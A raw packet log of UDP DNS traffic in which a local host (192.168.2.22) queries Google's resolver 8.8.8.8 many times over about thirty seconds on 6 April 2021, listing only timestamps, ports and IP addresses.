Apr 6, 2021 19:40:55.536041021 CEST	62288	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.582761049 CEST	53	62288	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:55.712104082 CEST	58473	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.761661053 CEST	53	58473	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:55.880258083 CEST	57284	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.928101063 CEST	53	57284	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:56.058773994 CEST	58015	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:56.107057095 CEST	53	58015	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:56.240896940 CEST	55470	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:56.288479090 CEST	53	55470	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:56.416050911 CEST	50974	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:56.464873075 CEST	53	50974	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:56.587806940 CEST	64934	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:56.636732101 CEST	53	64934	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:56.764223099 CEST	61741	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:56.812474012 CEST	53	61741	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:56.940129995 CEST	64069	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:56.987409115 CEST	53	64069	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:57.132128000 CEST	60995	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:57.181034088 CEST	53	60995	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:57.308994055 CEST	62291	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:57.357604027 CEST	53	62291	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:57.496992111 CEST	50900	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:57.545919895 CEST	53	50900	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:57.678354979 CEST	54131	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:57.724431992 CEST	53	54131	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:57.869187117 CEST	54293	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:57.918140888 CEST	53	54293	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:57.922811031 CEST	50519	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:57.971645117 CEST	53	50519	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:58.040682077 CEST	54187	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:58.087567091 CEST	53	54187	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:58.216979027 CEST	58673	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:58.262823105 CEST	53	58673	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:58.398670912 CEST	63779	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:58.444710970 CEST	53	63779	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:58.574713945 CEST	56240	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:58.626365900 CEST	53	56240	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:58.766380072 CEST	60915	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:58.812299967 CEST	53	60915	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:58.944734097 CEST	49177	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:58.990701914 CEST	53	49177	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:59.126441002 CEST	52037	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:59.172344923 CEST	53	52037	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:59.297055006 CEST	59411	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:59.343193054 CEST	53	59411	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:59.466186047 CEST	57033	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:59.512020111 CEST	53	57033	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:59.642101049 CEST	60843	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:59.689551115 CEST	53	60843	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:59.806771040 CEST	49820	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:59.854417086 CEST	53	49820	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:59.975785971 CEST	63256	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.022495031 CEST	53	63256	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:00.165859938 CEST	56363	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.213171005 CEST	53	56363	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:00.337671041 CEST	54157	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.390045881 CEST	53	54157	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:00.404397011 CEST	63680	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.452934027 CEST	53	63680	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:00.536848068 CEST	51814	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.582755089 CEST	53	51814	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:00.704664946 CEST	51622	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.753823042 CEST	53	51622	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:00.896003962 CEST	60177	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:00.943778038 CEST	53	60177	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:01.072932959 CEST	60843	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:01.119050026 CEST	53	60843	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:01.252473116 CEST	58008	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:01.303153992 CEST	53	58008	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:01.434804916 CEST	57992	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:01.480927944 CEST	53	57992	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:01.609503031 CEST	65522	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:01.657696009 CEST	53	65522	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:01.784586906 CEST	49639	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:01.832097054 CEST	53	49639	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:01.957804918 CEST	63327	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.006683111 CEST	53	63327	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:02.139681101 CEST	49388	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.185852051 CEST	53	49388	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:02.317693949 CEST	60534	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.366836071 CEST	53	60534	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:02.492616892 CEST	52146	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.538624048 CEST	53	52146	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:02.675143003 CEST	62947	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.721121073 CEST	53	62947	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:02.848752022 CEST	57302	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.896523952 CEST	53	57302	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:02.912642956 CEST	54780	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:02.958705902 CEST	53	54780	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:03.027297020 CEST	59773	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:03.073477983 CEST	53	59773	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:03.221426964 CEST	51222	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:03.267946005 CEST	53	51222	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:03.392047882 CEST	54790	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:03.441921949 CEST	53	54790	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:03.585494041 CEST	58285	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:03.635190010 CEST	53	58285	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:03.787488937 CEST	50633	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:03.833894014 CEST	53	50633	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:03.961750984 CEST	55526	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:04.007890940 CEST	53	55526	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:04.133443117 CEST	60187	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:04.181082964 CEST	53	60187	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:04.316993952 CEST	63165	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:04.363090038 CEST	53	63165	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:04.497431993 CEST	61810	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:04.543329954 CEST	53	61810	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:04.676403046 CEST	64073	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:04.722547054 CEST	53	64073	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:04.858366013 CEST	50715	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:04.904864073 CEST	53	50715	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.029699087 CEST	61224	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.075568914 CEST	53	61224	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.206840038 CEST	52360	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.253120899 CEST	53	52360	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.394834995 CEST	57756	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.404439926 CEST	52521	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.442300081 CEST	53	57756	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.450493097 CEST	53	52521	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.570825100 CEST	54106	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.618293047 CEST	53	54106	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.750600100 CEST	52359	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.797718048 CEST	53	52359	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:05.934130907 CEST	57868	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:05.980221987 CEST	53	57868	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:06.108527899 CEST	55017	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:06.159353971 CEST	53	55017	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:06.290272951 CEST	64440	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:06.337794065 CEST	53	64440	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:06.459151030 CEST	61548	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:06.505464077 CEST	53	61548	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:06.637346983 CEST	54276	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:06.683629036 CEST	53	54276	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:06.808796883 CEST	60123	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:06.856679916 CEST	53	60123	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:06.982090950 CEST	52480	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.032977104 CEST	53	52480	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:07.167979002 CEST	65412	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.216222048 CEST	53	65412	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:07.347697020 CEST	49551	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.397803068 CEST	53	49551	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:07.523564100 CEST	63258	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.569502115 CEST	53	63258	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:07.703922033 CEST	57578	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.753544092 CEST	53	57578	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:07.878693104 CEST	60312	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.900285006 CEST	54899	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:07.928160906 CEST	53	60312	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:07.949347973 CEST	53	54899	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:08.074207067 CEST	53334	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:08.120539904 CEST	53	53334	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:08.247174025 CEST	61850	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:08.298290968 CEST	53	61850	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:08.441797972 CEST	59175	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:08.490550995 CEST	53	59175	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:08.616134882 CEST	56718	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:09.621432066 CEST	56718	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:09.669339895 CEST	53	56718	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:09.804928064 CEST	54478	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:09.851227999 CEST	53	54478	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:09.986402035 CEST	58427	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.032254934 CEST	53	58427	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:10.167366028 CEST	65476	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.216336012 CEST	53	65476	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:10.347368956 CEST	58076	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.357279062 CEST	60518	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.393563986 CEST	53	58076	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:10.406048059 CEST	53	60518	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:10.518796921 CEST	55698	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.567651987 CEST	53	55698	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:10.693310976 CEST	53090	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.739471912 CEST	53	53090	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:10.868902922 CEST	55758	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:10.915622950 CEST	53	55758	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:11.042059898 CEST	65312	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:11.088200092 CEST	53	65312	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:11.234075069 CEST	64984	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:11.280683994 CEST	53	64984	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:11.406055927 CEST	53144	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:11.456842899 CEST	53	53144	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:11.584314108 CEST	62452	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:11.630362034 CEST	53	62452	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:11.753142118 CEST	64550	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:11.805845022 CEST	53	64550	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:11.943237066 CEST	59991	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:11.989191055 CEST	53	59991	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:12.111167908 CEST	64291	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:12.162017107 CEST	53	64291	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:12.275331974 CEST	52215	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:12.321746111 CEST	53	52215	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:12.460582018 CEST	53765	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:12.506932020 CEST	53	53765	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:12.639390945 CEST	57148	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:12.688896894 CEST	53	57148	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:12.822371006 CEST	53577	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:12.832740068 CEST	51785	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:12.870049000 CEST	53	53577	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:12.893487930 CEST	53	51785	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:13.014548063 CEST	51329	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:13.062889099 CEST	53	51329	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:13.186954975 CEST	55163	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:13.233566046 CEST	53	55163	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:13.349945068 CEST	53262	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:13.398832083 CEST	53	53262	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:13.548047066 CEST	63026	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:13.596326113 CEST	53	63026	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:13.717849970 CEST	61190	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:13.765474081 CEST	53	61190	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:13.900732994 CEST	64211	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:13.949651003 CEST	53	64211	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:14.074951887 CEST	57660	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:14.121606112 CEST	53	57660	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:14.263504982 CEST	62041	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:14.310966015 CEST	53	62041	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:14.431519032 CEST	64019	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:14.478466034 CEST	53	64019	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:14.619349003 CEST	60221	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:14.668356895 CEST	53	60221	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:14.804514885 CEST	63183	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:14.854631901 CEST	53	63183	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:14.984503984 CEST	54783	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.033277988 CEST	53	54783	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:15.169430971 CEST	64343	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.216758013 CEST	53	64343	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:15.310664892 CEST	56183	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.333333015 CEST	60969	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.356626034 CEST	53	56183	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:15.384133101 CEST	53	60969	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:15.515290976 CEST	49802	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.561158895 CEST	53	49802	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:15.687207937 CEST	65436	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.733163118 CEST	53	65436	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:15.866763115 CEST	63415	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:15.916306019 CEST	53	63415	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:16.048949957 CEST	62618	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:16.094949007 CEST	53	62618	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:16.238574028 CEST	53640	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:16.288670063 CEST	53	53640	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:16.423734903 CEST	54469	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:16.469670057 CEST	53	54469	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:16.610008955 CEST	53557	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:16.656042099 CEST	53	53557	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:16.791752100 CEST	58412	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:16.840007067 CEST	53	58412	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:16.980834961 CEST	56148	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.027039051 CEST	53	56148	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:17.166740894 CEST	62454	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.212869883 CEST	53	62454	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:17.343142033 CEST	55472	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.393594980 CEST	53	55472	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:17.522893906 CEST	50055	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.569562912 CEST	53	50055	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:17.706856012 CEST	55079	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.754081964 CEST	53	55079	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:17.799513102 CEST	55535	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.848664045 CEST	53	55535	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:17.905790091 CEST	65144	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:17.954756975 CEST	53	65144	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:18.097189903 CEST	52747	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:18.146542072 CEST	53	52747	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:18.270387888 CEST	61915	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:18.319109917 CEST	53	61915	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:18.443964005 CEST	56856	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:18.490118027 CEST	53	56856	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:18.611988068 CEST	51099	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:18.659954071 CEST	53	51099	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:18.798219919 CEST	52501	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:18.851246119 CEST	53	52501	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:18.987124920 CEST	60839	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:19.032990932 CEST	53	60839	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:19.162628889 CEST	51016	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:19.211426020 CEST	53	51016	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:19.339222908 CEST	63714	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:19.385746002 CEST	53	63714	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:19.528573990 CEST	57242	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:19.574489117 CEST	53	57242	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:19.709917068 CEST	57583	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:19.756280899 CEST	53	57583	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:19.913209915 CEST	55672	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:19.962249041 CEST	53	55672	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:20.095895052 CEST	56547	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:20.142939091 CEST	53	56547	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:20.285367966 CEST	60599	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:20.292596102 CEST	57503	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:20.340675116 CEST	53	60599	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:20.340866089 CEST	53	57503	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:20.463890076 CEST	54393	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:20.512573957 CEST	53	54393	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:20.644570112 CEST	49539	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:20.692883015 CEST	53	49539	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:20.833513975 CEST	52323	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:20.879623890 CEST	53	52323	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:21.005920887 CEST	51694	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:21.052958965 CEST	53	51694	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:21.196365118 CEST	51450	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:21.242487907 CEST	53	51450	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:21.381407022 CEST	49752	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:21.427421093 CEST	53	49752	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:21.547835112 CEST	57373	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:21.594136000 CEST	53	57373	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:21.725796938 CEST	58175	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:21.771830082 CEST	53	58175	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:21.893241882 CEST	63290	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:21.942131042 CEST	53	63290	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.078321934 CEST	54258	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:22.126823902 CEST	53	54258	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.245699883 CEST	53225	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:22.294681072 CEST	53	53225	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.416678905 CEST	62698	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:22.463700056 CEST	53	62698	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.591598034 CEST	52305	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:22.637835026 CEST	53	52305	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.799386978 CEST	49932	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:22.802736044 CEST	62293	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:22.845647097 CEST	53	49932	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.848627090 CEST	53	62293	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:22.981458902 CEST	62271	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:23.027529955 CEST	53	62271	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:23.147100925 CEST	49712	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:23.196125984 CEST	53	49712	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:23.319220066 CEST	57298	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:23.365257025 CEST	53	57298	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:23.504939079 CEST	53084	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:23.550895929 CEST	53	53084	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:23.673451900 CEST	61000	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:23.719677925 CEST	53	61000	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:23.832948923 CEST	49706	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:23.879149914 CEST	53	49706	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:24.013339996 CEST	57196	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:24.063530922 CEST	53	57196	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:24.181529045 CEST	52229	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:24.227543116 CEST	53	52229	8.8.8.8	192.168.2.22
